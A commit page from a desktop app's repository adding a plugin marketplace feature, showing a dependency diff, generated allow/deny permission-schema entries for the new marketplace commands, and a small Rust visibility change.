Triple-C marketplace: agents, skills, commands, hooks and plugins for all or individual containers (#65)
Build App / compute-version (push) Successful in 4s
Secret Scan / scan (push) Successful in 4s
Build App / build-macos (push) Successful in 3m55s
Build App / build-windows (push) Successful in 7m11s
Build App / build-linux (push) Successful in 9m53s
Build App / create-tag (push) Successful in 5s
Build App / sync-to-github (push) Successful in 56s

This commit was merged in pull request #65.
This commit is contained in:
2026-09-27 23:43:27 +00:00
parent 292fc907fb
commit ee1bb691e6
91 changed files with 27575 additions and 69 deletions
+1344 -36
View File
File diff suppressed because it is too large Load Diff
+5
View File
@@ -43,11 +43,16 @@ zeroize = "1"
# container. Already in the tree transitively (reqwest), and the point of
# using it rather than hand-rolling is parity with the frontend's `new URL()`.
url = "2"
similar = "2"
# Marketplace repos are fetched on the host into a bare cache (spec §3).
# Blocking client + rustls: no git binary or OpenSSL needed on the host.
gix = { version = "0.88", default-features = false, features = ["blocking-network-client", "blocking-http-transport-reqwest-rust-tls", "credentials", "sha1"] }
[dev-dependencies]
# `test-util` (not part of tokio's `full`) lets the auto-start retry tests run
# their backoff schedule under a paused clock instead of in real seconds.
tokio = { version = "1", features = ["full", "test-util"] }
tempfile = "3"
[build-dependencies]
tauri-build = { version = "2", features = [] }
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -350,6 +350,24 @@
"const": "allow-acquire-claude-token",
"markdownDescription": "Enables the acquire_claude_token command without any pre-configured scope."
},
{
"description": "Enables the add_marketplace command without any pre-configured scope.",
"type": "string",
"const": "allow-add-marketplace",
"markdownDescription": "Enables the add_marketplace command without any pre-configured scope."
},
{
"description": "Enables the add_marketplace_gh_host_account command without any pre-configured scope.",
"type": "string",
"const": "allow-add-marketplace-gh-host-account",
"markdownDescription": "Enables the add_marketplace_gh_host_account command without any pre-configured scope."
},
{
"description": "Enables the add_marketplace_token_account command without any pre-configured scope.",
"type": "string",
"const": "allow-add-marketplace-token-account",
"markdownDescription": "Enables the add_marketplace_token_account command without any pre-configured scope."
},
{
"description": "Enables the add_project command without any pre-configured scope.",
"type": "string",
@@ -362,6 +380,12 @@
"const": "allow-add-scheduled-task",
"markdownDescription": "Enables the add_scheduled_task command without any pre-configured scope."
},
{
"description": "Enables the apply_marketplace_now command without any pre-configured scope.",
"type": "string",
"const": "allow-apply-marketplace-now",
"markdownDescription": "Enables the apply_marketplace_now command without any pre-configured scope."
},
{
"description": "Enables the apply_settings_import command without any pre-configured scope.",
"type": "string",
@@ -398,6 +422,12 @@
"const": "allow-cancel-claude-token",
"markdownDescription": "Enables the cancel_claude_token command without any pre-configured scope."
},
{
"description": "Enables the cancel_marketplace_gh_login command without any pre-configured scope.",
"type": "string",
"const": "allow-cancel-marketplace-gh-login",
"markdownDescription": "Enables the cancel_marketplace_gh_login command without any pre-configured scope."
},
{
"description": "Enables the check_browser_view_support command without any pre-configured scope.",
"type": "string",
@@ -524,6 +554,12 @@
"const": "allow-export-settings",
"markdownDescription": "Enables the export_settings command without any pre-configured scope."
},
{
"description": "Enables the forget_marketplace_installs command without any pre-configured scope.",
"type": "string",
"const": "allow-forget-marketplace-installs",
"markdownDescription": "Enables the forget_marketplace_installs command without any pre-configured scope."
},
{
"description": "Enables the get_app_version command without any pre-configured scope.",
"type": "string",
@@ -590,6 +626,12 @@
"const": "allow-get-help-content",
"markdownDescription": "Enables the get_help_content command without any pre-configured scope."
},
{
"description": "Enables the get_marketplace_sync_report command without any pre-configured scope.",
"type": "string",
"const": "allow-get-marketplace-sync-report",
"markdownDescription": "Enables the get_marketplace_sync_report command without any pre-configured scope."
},
{
"description": "Enables the get_migration_state command without any pre-configured scope.",
"type": "string",
@@ -650,6 +692,12 @@
"const": "allow-install-browser-view-support",
"markdownDescription": "Enables the install_browser_view_support command without any pre-configured scope."
},
{
"description": "Enables the install_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "allow-install-marketplace-item",
"markdownDescription": "Enables the install_marketplace_item command without any pre-configured scope."
},
{
"description": "Enables the list_aws_profiles command without any pre-configured scope.",
"type": "string",
@@ -674,6 +722,18 @@
"const": "allow-list-container-files",
"markdownDescription": "Enables the list_container_files command without any pre-configured scope."
},
{
"description": "Enables the list_marketplace_snapshots command without any pre-configured scope.",
"type": "string",
"const": "allow-list-marketplace-snapshots",
"markdownDescription": "Enables the list_marketplace_snapshots command without any pre-configured scope."
},
{
"description": "Enables the list_marketplace_updates command without any pre-configured scope.",
"type": "string",
"const": "allow-list-marketplace-updates",
"markdownDescription": "Enables the list_marketplace_updates command without any pre-configured scope."
},
{
"description": "Enables the list_notes command without any pre-configured scope.",
"type": "string",
@@ -692,6 +752,18 @@
"const": "allow-list-scheduled-tasks",
"markdownDescription": "Enables the list_scheduled_tasks command without any pre-configured scope."
},
{
"description": "Enables the marketplace_gh_host_available command without any pre-configured scope.",
"type": "string",
"const": "allow-marketplace-gh-host-available",
"markdownDescription": "Enables the marketplace_gh_host_available command without any pre-configured scope."
},
{
"description": "Enables the marketplace_item_diff command without any pre-configured scope.",
"type": "string",
"const": "allow-marketplace-item-diff",
"markdownDescription": "Enables the marketplace_item_diff command without any pre-configured scope."
},
{
"description": "Enables the migrate_project_to_base command without any pre-configured scope.",
"type": "string",
@@ -776,6 +848,12 @@
"const": "allow-reconcile-project-statuses",
"markdownDescription": "Enables the reconcile_project_statuses command without any pre-configured scope."
},
{
"description": "Enables the refresh_marketplaces command without any pre-configured scope.",
"type": "string",
"const": "allow-refresh-marketplaces",
"markdownDescription": "Enables the refresh_marketplaces command without any pre-configured scope."
},
{
"description": "Enables the regenerate_gateway_auth_token command without any pre-configured scope.",
"type": "string",
@@ -788,6 +866,18 @@
"const": "allow-regenerate-web-terminal-token",
"markdownDescription": "Enables the regenerate_web_terminal_token command without any pre-configured scope."
},
{
"description": "Enables the remove_marketplace command without any pre-configured scope.",
"type": "string",
"const": "allow-remove-marketplace",
"markdownDescription": "Enables the remove_marketplace command without any pre-configured scope."
},
{
"description": "Enables the remove_marketplace_account command without any pre-configured scope.",
"type": "string",
"const": "allow-remove-marketplace-account",
"markdownDescription": "Enables the remove_marketplace_account command without any pre-configured scope."
},
{
"description": "Enables the remove_project command without any pre-configured scope.",
"type": "string",
@@ -878,6 +968,12 @@
"const": "allow-set-gateway-api-key",
"markdownDescription": "Enables the set_gateway_api_key command without any pre-configured scope."
},
{
"description": "Enables the set_global_item_disabled command without any pre-configured scope.",
"type": "string",
"const": "allow-set-global-item-disabled",
"markdownDescription": "Enables the set_global_item_disabled command without any pre-configured scope."
},
{
"description": "Enables the set_scheduled_task_enabled command without any pre-configured scope.",
"type": "string",
@@ -896,6 +992,12 @@
"const": "allow-start-gateway",
"markdownDescription": "Enables the start_gateway command without any pre-configured scope."
},
{
"description": "Enables the start_marketplace_gh_container_login command without any pre-configured scope.",
"type": "string",
"const": "allow-start-marketplace-gh-container-login",
"markdownDescription": "Enables the start_marketplace_gh_container_login command without any pre-configured scope."
},
{
"description": "Enables the start_project_container command without any pre-configured scope.",
"type": "string",
@@ -968,12 +1070,36 @@
"const": "allow-terminal-resize",
"markdownDescription": "Enables the terminal_resize command without any pre-configured scope."
},
{
"description": "Enables the test_marketplace_account command without any pre-configured scope.",
"type": "string",
"const": "allow-test-marketplace-account",
"markdownDescription": "Enables the test_marketplace_account command without any pre-configured scope."
},
{
"description": "Enables the transcribe_audio command without any pre-configured scope.",
"type": "string",
"const": "allow-transcribe-audio",
"markdownDescription": "Enables the transcribe_audio command without any pre-configured scope."
},
{
"description": "Enables the uninstall_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "allow-uninstall-marketplace-item",
"markdownDescription": "Enables the uninstall_marketplace_item command without any pre-configured scope."
},
{
"description": "Enables the update_marketplace command without any pre-configured scope.",
"type": "string",
"const": "allow-update-marketplace",
"markdownDescription": "Enables the update_marketplace command without any pre-configured scope."
},
{
"description": "Enables the update_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "allow-update-marketplace-item",
"markdownDescription": "Enables the update_marketplace_item command without any pre-configured scope."
},
{
"description": "Enables the update_project command without any pre-configured scope.",
"type": "string",
@@ -1040,6 +1166,24 @@
"const": "deny-acquire-claude-token",
"markdownDescription": "Denies the acquire_claude_token command without any pre-configured scope."
},
{
"description": "Denies the add_marketplace command without any pre-configured scope.",
"type": "string",
"const": "deny-add-marketplace",
"markdownDescription": "Denies the add_marketplace command without any pre-configured scope."
},
{
"description": "Denies the add_marketplace_gh_host_account command without any pre-configured scope.",
"type": "string",
"const": "deny-add-marketplace-gh-host-account",
"markdownDescription": "Denies the add_marketplace_gh_host_account command without any pre-configured scope."
},
{
"description": "Denies the add_marketplace_token_account command without any pre-configured scope.",
"type": "string",
"const": "deny-add-marketplace-token-account",
"markdownDescription": "Denies the add_marketplace_token_account command without any pre-configured scope."
},
{
"description": "Denies the add_project command without any pre-configured scope.",
"type": "string",
@@ -1052,6 +1196,12 @@
"const": "deny-add-scheduled-task",
"markdownDescription": "Denies the add_scheduled_task command without any pre-configured scope."
},
{
"description": "Denies the apply_marketplace_now command without any pre-configured scope.",
"type": "string",
"const": "deny-apply-marketplace-now",
"markdownDescription": "Denies the apply_marketplace_now command without any pre-configured scope."
},
{
"description": "Denies the apply_settings_import command without any pre-configured scope.",
"type": "string",
@@ -1088,6 +1238,12 @@
"const": "deny-cancel-claude-token",
"markdownDescription": "Denies the cancel_claude_token command without any pre-configured scope."
},
{
"description": "Denies the cancel_marketplace_gh_login command without any pre-configured scope.",
"type": "string",
"const": "deny-cancel-marketplace-gh-login",
"markdownDescription": "Denies the cancel_marketplace_gh_login command without any pre-configured scope."
},
{
"description": "Denies the check_browser_view_support command without any pre-configured scope.",
"type": "string",
@@ -1214,6 +1370,12 @@
"const": "deny-export-settings",
"markdownDescription": "Denies the export_settings command without any pre-configured scope."
},
{
"description": "Denies the forget_marketplace_installs command without any pre-configured scope.",
"type": "string",
"const": "deny-forget-marketplace-installs",
"markdownDescription": "Denies the forget_marketplace_installs command without any pre-configured scope."
},
{
"description": "Denies the get_app_version command without any pre-configured scope.",
"type": "string",
@@ -1280,6 +1442,12 @@
"const": "deny-get-help-content",
"markdownDescription": "Denies the get_help_content command without any pre-configured scope."
},
{
"description": "Denies the get_marketplace_sync_report command without any pre-configured scope.",
"type": "string",
"const": "deny-get-marketplace-sync-report",
"markdownDescription": "Denies the get_marketplace_sync_report command without any pre-configured scope."
},
{
"description": "Denies the get_migration_state command without any pre-configured scope.",
"type": "string",
@@ -1340,6 +1508,12 @@
"const": "deny-install-browser-view-support",
"markdownDescription": "Denies the install_browser_view_support command without any pre-configured scope."
},
{
"description": "Denies the install_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "deny-install-marketplace-item",
"markdownDescription": "Denies the install_marketplace_item command without any pre-configured scope."
},
{
"description": "Denies the list_aws_profiles command without any pre-configured scope.",
"type": "string",
@@ -1364,6 +1538,18 @@
"const": "deny-list-container-files",
"markdownDescription": "Denies the list_container_files command without any pre-configured scope."
},
{
"description": "Denies the list_marketplace_snapshots command without any pre-configured scope.",
"type": "string",
"const": "deny-list-marketplace-snapshots",
"markdownDescription": "Denies the list_marketplace_snapshots command without any pre-configured scope."
},
{
"description": "Denies the list_marketplace_updates command without any pre-configured scope.",
"type": "string",
"const": "deny-list-marketplace-updates",
"markdownDescription": "Denies the list_marketplace_updates command without any pre-configured scope."
},
{
"description": "Denies the list_notes command without any pre-configured scope.",
"type": "string",
@@ -1382,6 +1568,18 @@
"const": "deny-list-scheduled-tasks",
"markdownDescription": "Denies the list_scheduled_tasks command without any pre-configured scope."
},
{
"description": "Denies the marketplace_gh_host_available command without any pre-configured scope.",
"type": "string",
"const": "deny-marketplace-gh-host-available",
"markdownDescription": "Denies the marketplace_gh_host_available command without any pre-configured scope."
},
{
"description": "Denies the marketplace_item_diff command without any pre-configured scope.",
"type": "string",
"const": "deny-marketplace-item-diff",
"markdownDescription": "Denies the marketplace_item_diff command without any pre-configured scope."
},
{
"description": "Denies the migrate_project_to_base command without any pre-configured scope.",
"type": "string",
@@ -1466,6 +1664,12 @@
"const": "deny-reconcile-project-statuses",
"markdownDescription": "Denies the reconcile_project_statuses command without any pre-configured scope."
},
{
"description": "Denies the refresh_marketplaces command without any pre-configured scope.",
"type": "string",
"const": "deny-refresh-marketplaces",
"markdownDescription": "Denies the refresh_marketplaces command without any pre-configured scope."
},
{
"description": "Denies the regenerate_gateway_auth_token command without any pre-configured scope.",
"type": "string",
@@ -1478,6 +1682,18 @@
"const": "deny-regenerate-web-terminal-token",
"markdownDescription": "Denies the regenerate_web_terminal_token command without any pre-configured scope."
},
{
"description": "Denies the remove_marketplace command without any pre-configured scope.",
"type": "string",
"const": "deny-remove-marketplace",
"markdownDescription": "Denies the remove_marketplace command without any pre-configured scope."
},
{
"description": "Denies the remove_marketplace_account command without any pre-configured scope.",
"type": "string",
"const": "deny-remove-marketplace-account",
"markdownDescription": "Denies the remove_marketplace_account command without any pre-configured scope."
},
{
"description": "Denies the remove_project command without any pre-configured scope.",
"type": "string",
@@ -1568,6 +1784,12 @@
"const": "deny-set-gateway-api-key",
"markdownDescription": "Denies the set_gateway_api_key command without any pre-configured scope."
},
{
"description": "Denies the set_global_item_disabled command without any pre-configured scope.",
"type": "string",
"const": "deny-set-global-item-disabled",
"markdownDescription": "Denies the set_global_item_disabled command without any pre-configured scope."
},
{
"description": "Denies the set_scheduled_task_enabled command without any pre-configured scope.",
"type": "string",
@@ -1586,6 +1808,12 @@
"const": "deny-start-gateway",
"markdownDescription": "Denies the start_gateway command without any pre-configured scope."
},
{
"description": "Denies the start_marketplace_gh_container_login command without any pre-configured scope.",
"type": "string",
"const": "deny-start-marketplace-gh-container-login",
"markdownDescription": "Denies the start_marketplace_gh_container_login command without any pre-configured scope."
},
{
"description": "Denies the start_project_container command without any pre-configured scope.",
"type": "string",
@@ -1658,12 +1886,36 @@
"const": "deny-terminal-resize",
"markdownDescription": "Denies the terminal_resize command without any pre-configured scope."
},
{
"description": "Denies the test_marketplace_account command without any pre-configured scope.",
"type": "string",
"const": "deny-test-marketplace-account",
"markdownDescription": "Denies the test_marketplace_account command without any pre-configured scope."
},
{
"description": "Denies the transcribe_audio command without any pre-configured scope.",
"type": "string",
"const": "deny-transcribe-audio",
"markdownDescription": "Denies the transcribe_audio command without any pre-configured scope."
},
{
"description": "Denies the uninstall_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "deny-uninstall-marketplace-item",
"markdownDescription": "Denies the uninstall_marketplace_item command without any pre-configured scope."
},
{
"description": "Denies the update_marketplace command without any pre-configured scope.",
"type": "string",
"const": "deny-update-marketplace",
"markdownDescription": "Denies the update_marketplace command without any pre-configured scope."
},
{
"description": "Denies the update_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "deny-update-marketplace-item",
"markdownDescription": "Denies the update_marketplace_item command without any pre-configured scope."
},
{
"description": "Denies the update_project command without any pre-configured scope.",
"type": "string",
+252
View File
@@ -350,6 +350,24 @@
"const": "allow-acquire-claude-token",
"markdownDescription": "Enables the acquire_claude_token command without any pre-configured scope."
},
{
"description": "Enables the add_marketplace command without any pre-configured scope.",
"type": "string",
"const": "allow-add-marketplace",
"markdownDescription": "Enables the add_marketplace command without any pre-configured scope."
},
{
"description": "Enables the add_marketplace_gh_host_account command without any pre-configured scope.",
"type": "string",
"const": "allow-add-marketplace-gh-host-account",
"markdownDescription": "Enables the add_marketplace_gh_host_account command without any pre-configured scope."
},
{
"description": "Enables the add_marketplace_token_account command without any pre-configured scope.",
"type": "string",
"const": "allow-add-marketplace-token-account",
"markdownDescription": "Enables the add_marketplace_token_account command without any pre-configured scope."
},
{
"description": "Enables the add_project command without any pre-configured scope.",
"type": "string",
@@ -362,6 +380,12 @@
"const": "allow-add-scheduled-task",
"markdownDescription": "Enables the add_scheduled_task command without any pre-configured scope."
},
{
"description": "Enables the apply_marketplace_now command without any pre-configured scope.",
"type": "string",
"const": "allow-apply-marketplace-now",
"markdownDescription": "Enables the apply_marketplace_now command without any pre-configured scope."
},
{
"description": "Enables the apply_settings_import command without any pre-configured scope.",
"type": "string",
@@ -398,6 +422,12 @@
"const": "allow-cancel-claude-token",
"markdownDescription": "Enables the cancel_claude_token command without any pre-configured scope."
},
{
"description": "Enables the cancel_marketplace_gh_login command without any pre-configured scope.",
"type": "string",
"const": "allow-cancel-marketplace-gh-login",
"markdownDescription": "Enables the cancel_marketplace_gh_login command without any pre-configured scope."
},
{
"description": "Enables the check_browser_view_support command without any pre-configured scope.",
"type": "string",
@@ -524,6 +554,12 @@
"const": "allow-export-settings",
"markdownDescription": "Enables the export_settings command without any pre-configured scope."
},
{
"description": "Enables the forget_marketplace_installs command without any pre-configured scope.",
"type": "string",
"const": "allow-forget-marketplace-installs",
"markdownDescription": "Enables the forget_marketplace_installs command without any pre-configured scope."
},
{
"description": "Enables the get_app_version command without any pre-configured scope.",
"type": "string",
@@ -590,6 +626,12 @@
"const": "allow-get-help-content",
"markdownDescription": "Enables the get_help_content command without any pre-configured scope."
},
{
"description": "Enables the get_marketplace_sync_report command without any pre-configured scope.",
"type": "string",
"const": "allow-get-marketplace-sync-report",
"markdownDescription": "Enables the get_marketplace_sync_report command without any pre-configured scope."
},
{
"description": "Enables the get_migration_state command without any pre-configured scope.",
"type": "string",
@@ -650,6 +692,12 @@
"const": "allow-install-browser-view-support",
"markdownDescription": "Enables the install_browser_view_support command without any pre-configured scope."
},
{
"description": "Enables the install_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "allow-install-marketplace-item",
"markdownDescription": "Enables the install_marketplace_item command without any pre-configured scope."
},
{
"description": "Enables the list_aws_profiles command without any pre-configured scope.",
"type": "string",
@@ -674,6 +722,18 @@
"const": "allow-list-container-files",
"markdownDescription": "Enables the list_container_files command without any pre-configured scope."
},
{
"description": "Enables the list_marketplace_snapshots command without any pre-configured scope.",
"type": "string",
"const": "allow-list-marketplace-snapshots",
"markdownDescription": "Enables the list_marketplace_snapshots command without any pre-configured scope."
},
{
"description": "Enables the list_marketplace_updates command without any pre-configured scope.",
"type": "string",
"const": "allow-list-marketplace-updates",
"markdownDescription": "Enables the list_marketplace_updates command without any pre-configured scope."
},
{
"description": "Enables the list_notes command without any pre-configured scope.",
"type": "string",
@@ -692,6 +752,18 @@
"const": "allow-list-scheduled-tasks",
"markdownDescription": "Enables the list_scheduled_tasks command without any pre-configured scope."
},
{
"description": "Enables the marketplace_gh_host_available command without any pre-configured scope.",
"type": "string",
"const": "allow-marketplace-gh-host-available",
"markdownDescription": "Enables the marketplace_gh_host_available command without any pre-configured scope."
},
{
"description": "Enables the marketplace_item_diff command without any pre-configured scope.",
"type": "string",
"const": "allow-marketplace-item-diff",
"markdownDescription": "Enables the marketplace_item_diff command without any pre-configured scope."
},
{
"description": "Enables the migrate_project_to_base command without any pre-configured scope.",
"type": "string",
@@ -776,6 +848,12 @@
"const": "allow-reconcile-project-statuses",
"markdownDescription": "Enables the reconcile_project_statuses command without any pre-configured scope."
},
{
"description": "Enables the refresh_marketplaces command without any pre-configured scope.",
"type": "string",
"const": "allow-refresh-marketplaces",
"markdownDescription": "Enables the refresh_marketplaces command without any pre-configured scope."
},
{
"description": "Enables the regenerate_gateway_auth_token command without any pre-configured scope.",
"type": "string",
@@ -788,6 +866,18 @@
"const": "allow-regenerate-web-terminal-token",
"markdownDescription": "Enables the regenerate_web_terminal_token command without any pre-configured scope."
},
{
"description": "Enables the remove_marketplace command without any pre-configured scope.",
"type": "string",
"const": "allow-remove-marketplace",
"markdownDescription": "Enables the remove_marketplace command without any pre-configured scope."
},
{
"description": "Enables the remove_marketplace_account command without any pre-configured scope.",
"type": "string",
"const": "allow-remove-marketplace-account",
"markdownDescription": "Enables the remove_marketplace_account command without any pre-configured scope."
},
{
"description": "Enables the remove_project command without any pre-configured scope.",
"type": "string",
@@ -878,6 +968,12 @@
"const": "allow-set-gateway-api-key",
"markdownDescription": "Enables the set_gateway_api_key command without any pre-configured scope."
},
{
"description": "Enables the set_global_item_disabled command without any pre-configured scope.",
"type": "string",
"const": "allow-set-global-item-disabled",
"markdownDescription": "Enables the set_global_item_disabled command without any pre-configured scope."
},
{
"description": "Enables the set_scheduled_task_enabled command without any pre-configured scope.",
"type": "string",
@@ -896,6 +992,12 @@
"const": "allow-start-gateway",
"markdownDescription": "Enables the start_gateway command without any pre-configured scope."
},
{
"description": "Enables the start_marketplace_gh_container_login command without any pre-configured scope.",
"type": "string",
"const": "allow-start-marketplace-gh-container-login",
"markdownDescription": "Enables the start_marketplace_gh_container_login command without any pre-configured scope."
},
{
"description": "Enables the start_project_container command without any pre-configured scope.",
"type": "string",
@@ -968,12 +1070,36 @@
"const": "allow-terminal-resize",
"markdownDescription": "Enables the terminal_resize command without any pre-configured scope."
},
{
"description": "Enables the test_marketplace_account command without any pre-configured scope.",
"type": "string",
"const": "allow-test-marketplace-account",
"markdownDescription": "Enables the test_marketplace_account command without any pre-configured scope."
},
{
"description": "Enables the transcribe_audio command without any pre-configured scope.",
"type": "string",
"const": "allow-transcribe-audio",
"markdownDescription": "Enables the transcribe_audio command without any pre-configured scope."
},
{
"description": "Enables the uninstall_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "allow-uninstall-marketplace-item",
"markdownDescription": "Enables the uninstall_marketplace_item command without any pre-configured scope."
},
{
"description": "Enables the update_marketplace command without any pre-configured scope.",
"type": "string",
"const": "allow-update-marketplace",
"markdownDescription": "Enables the update_marketplace command without any pre-configured scope."
},
{
"description": "Enables the update_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "allow-update-marketplace-item",
"markdownDescription": "Enables the update_marketplace_item command without any pre-configured scope."
},
{
"description": "Enables the update_project command without any pre-configured scope.",
"type": "string",
@@ -1040,6 +1166,24 @@
"const": "deny-acquire-claude-token",
"markdownDescription": "Denies the acquire_claude_token command without any pre-configured scope."
},
{
"description": "Denies the add_marketplace command without any pre-configured scope.",
"type": "string",
"const": "deny-add-marketplace",
"markdownDescription": "Denies the add_marketplace command without any pre-configured scope."
},
{
"description": "Denies the add_marketplace_gh_host_account command without any pre-configured scope.",
"type": "string",
"const": "deny-add-marketplace-gh-host-account",
"markdownDescription": "Denies the add_marketplace_gh_host_account command without any pre-configured scope."
},
{
"description": "Denies the add_marketplace_token_account command without any pre-configured scope.",
"type": "string",
"const": "deny-add-marketplace-token-account",
"markdownDescription": "Denies the add_marketplace_token_account command without any pre-configured scope."
},
{
"description": "Denies the add_project command without any pre-configured scope.",
"type": "string",
@@ -1052,6 +1196,12 @@
"const": "deny-add-scheduled-task",
"markdownDescription": "Denies the add_scheduled_task command without any pre-configured scope."
},
{
"description": "Denies the apply_marketplace_now command without any pre-configured scope.",
"type": "string",
"const": "deny-apply-marketplace-now",
"markdownDescription": "Denies the apply_marketplace_now command without any pre-configured scope."
},
{
"description": "Denies the apply_settings_import command without any pre-configured scope.",
"type": "string",
@@ -1088,6 +1238,12 @@
"const": "deny-cancel-claude-token",
"markdownDescription": "Denies the cancel_claude_token command without any pre-configured scope."
},
{
"description": "Denies the cancel_marketplace_gh_login command without any pre-configured scope.",
"type": "string",
"const": "deny-cancel-marketplace-gh-login",
"markdownDescription": "Denies the cancel_marketplace_gh_login command without any pre-configured scope."
},
{
"description": "Denies the check_browser_view_support command without any pre-configured scope.",
"type": "string",
@@ -1214,6 +1370,12 @@
"const": "deny-export-settings",
"markdownDescription": "Denies the export_settings command without any pre-configured scope."
},
{
"description": "Denies the forget_marketplace_installs command without any pre-configured scope.",
"type": "string",
"const": "deny-forget-marketplace-installs",
"markdownDescription": "Denies the forget_marketplace_installs command without any pre-configured scope."
},
{
"description": "Denies the get_app_version command without any pre-configured scope.",
"type": "string",
@@ -1280,6 +1442,12 @@
"const": "deny-get-help-content",
"markdownDescription": "Denies the get_help_content command without any pre-configured scope."
},
{
"description": "Denies the get_marketplace_sync_report command without any pre-configured scope.",
"type": "string",
"const": "deny-get-marketplace-sync-report",
"markdownDescription": "Denies the get_marketplace_sync_report command without any pre-configured scope."
},
{
"description": "Denies the get_migration_state command without any pre-configured scope.",
"type": "string",
@@ -1340,6 +1508,12 @@
"const": "deny-install-browser-view-support",
"markdownDescription": "Denies the install_browser_view_support command without any pre-configured scope."
},
{
"description": "Denies the install_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "deny-install-marketplace-item",
"markdownDescription": "Denies the install_marketplace_item command without any pre-configured scope."
},
{
"description": "Denies the list_aws_profiles command without any pre-configured scope.",
"type": "string",
@@ -1364,6 +1538,18 @@
"const": "deny-list-container-files",
"markdownDescription": "Denies the list_container_files command without any pre-configured scope."
},
{
"description": "Denies the list_marketplace_snapshots command without any pre-configured scope.",
"type": "string",
"const": "deny-list-marketplace-snapshots",
"markdownDescription": "Denies the list_marketplace_snapshots command without any pre-configured scope."
},
{
"description": "Denies the list_marketplace_updates command without any pre-configured scope.",
"type": "string",
"const": "deny-list-marketplace-updates",
"markdownDescription": "Denies the list_marketplace_updates command without any pre-configured scope."
},
{
"description": "Denies the list_notes command without any pre-configured scope.",
"type": "string",
@@ -1382,6 +1568,18 @@
"const": "deny-list-scheduled-tasks",
"markdownDescription": "Denies the list_scheduled_tasks command without any pre-configured scope."
},
{
"description": "Denies the marketplace_gh_host_available command without any pre-configured scope.",
"type": "string",
"const": "deny-marketplace-gh-host-available",
"markdownDescription": "Denies the marketplace_gh_host_available command without any pre-configured scope."
},
{
"description": "Denies the marketplace_item_diff command without any pre-configured scope.",
"type": "string",
"const": "deny-marketplace-item-diff",
"markdownDescription": "Denies the marketplace_item_diff command without any pre-configured scope."
},
{
"description": "Denies the migrate_project_to_base command without any pre-configured scope.",
"type": "string",
@@ -1466,6 +1664,12 @@
"const": "deny-reconcile-project-statuses",
"markdownDescription": "Denies the reconcile_project_statuses command without any pre-configured scope."
},
{
"description": "Denies the refresh_marketplaces command without any pre-configured scope.",
"type": "string",
"const": "deny-refresh-marketplaces",
"markdownDescription": "Denies the refresh_marketplaces command without any pre-configured scope."
},
{
"description": "Denies the regenerate_gateway_auth_token command without any pre-configured scope.",
"type": "string",
@@ -1478,6 +1682,18 @@
"const": "deny-regenerate-web-terminal-token",
"markdownDescription": "Denies the regenerate_web_terminal_token command without any pre-configured scope."
},
{
"description": "Denies the remove_marketplace command without any pre-configured scope.",
"type": "string",
"const": "deny-remove-marketplace",
"markdownDescription": "Denies the remove_marketplace command without any pre-configured scope."
},
{
"description": "Denies the remove_marketplace_account command without any pre-configured scope.",
"type": "string",
"const": "deny-remove-marketplace-account",
"markdownDescription": "Denies the remove_marketplace_account command without any pre-configured scope."
},
{
"description": "Denies the remove_project command without any pre-configured scope.",
"type": "string",
@@ -1568,6 +1784,12 @@
"const": "deny-set-gateway-api-key",
"markdownDescription": "Denies the set_gateway_api_key command without any pre-configured scope."
},
{
"description": "Denies the set_global_item_disabled command without any pre-configured scope.",
"type": "string",
"const": "deny-set-global-item-disabled",
"markdownDescription": "Denies the set_global_item_disabled command without any pre-configured scope."
},
{
"description": "Denies the set_scheduled_task_enabled command without any pre-configured scope.",
"type": "string",
@@ -1586,6 +1808,12 @@
"const": "deny-start-gateway",
"markdownDescription": "Denies the start_gateway command without any pre-configured scope."
},
{
"description": "Denies the start_marketplace_gh_container_login command without any pre-configured scope.",
"type": "string",
"const": "deny-start-marketplace-gh-container-login",
"markdownDescription": "Denies the start_marketplace_gh_container_login command without any pre-configured scope."
},
{
"description": "Denies the start_project_container command without any pre-configured scope.",
"type": "string",
@@ -1658,12 +1886,36 @@
"const": "deny-terminal-resize",
"markdownDescription": "Denies the terminal_resize command without any pre-configured scope."
},
{
"description": "Denies the test_marketplace_account command without any pre-configured scope.",
"type": "string",
"const": "deny-test-marketplace-account",
"markdownDescription": "Denies the test_marketplace_account command without any pre-configured scope."
},
{
"description": "Denies the transcribe_audio command without any pre-configured scope.",
"type": "string",
"const": "deny-transcribe-audio",
"markdownDescription": "Denies the transcribe_audio command without any pre-configured scope."
},
{
"description": "Denies the uninstall_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "deny-uninstall-marketplace-item",
"markdownDescription": "Denies the uninstall_marketplace_item command without any pre-configured scope."
},
{
"description": "Denies the update_marketplace command without any pre-configured scope.",
"type": "string",
"const": "deny-update-marketplace",
"markdownDescription": "Denies the update_marketplace command without any pre-configured scope."
},
{
"description": "Denies the update_marketplace_item command without any pre-configured scope.",
"type": "string",
"const": "deny-update-marketplace-item",
"markdownDescription": "Denies the update_marketplace_item command without any pre-configured scope."
},
{
"description": "Denies the update_project command without any pre-configured scope.",
"type": "string",
@@ -114,7 +114,7 @@ const SETUP_TIMEOUT: Duration = Duration::from_secs(15 * 60);
/// [`SETUP_TIMEOUT`]. Measured against 2.1.283 under a pty: 20 ms apart
/// already submits reliably; this leaves headroom for the extra hops through
/// Docker's exec socket, which can merge writes that arrive close together.
const SUBMIT_ENTER_DELAY: Duration = Duration::from_millis(250);
pub(crate) const SUBMIT_ENTER_DELAY: Duration = Duration::from_millis(250);
/// Documented shape of a `setup-token` credential.
const TOKEN_PREFIX: &str = "sk-ant-oat01-";
@@ -621,7 +621,7 @@ const MAX_ANSI_CARRY: usize = 64 * 1024;
/// Stateful wrapper around [`strip_ansi_prefix`] that carries an incomplete
/// trailing sequence over to the next chunk.
#[derive(Default)]
struct AnsiStripper {
pub(crate) struct AnsiStripper {
carry: Vec<u8>,
/// OSC 8 link targets seen since the last [`AnsiStripper::take_links`].
/// Kept out of the return value so every existing caller and test of
@@ -630,7 +630,7 @@ struct AnsiStripper {
}
impl AnsiStripper {
fn push(&mut self, chunk: &[u8]) -> String {
pub(crate) fn push(&mut self, chunk: &[u8]) -> String {
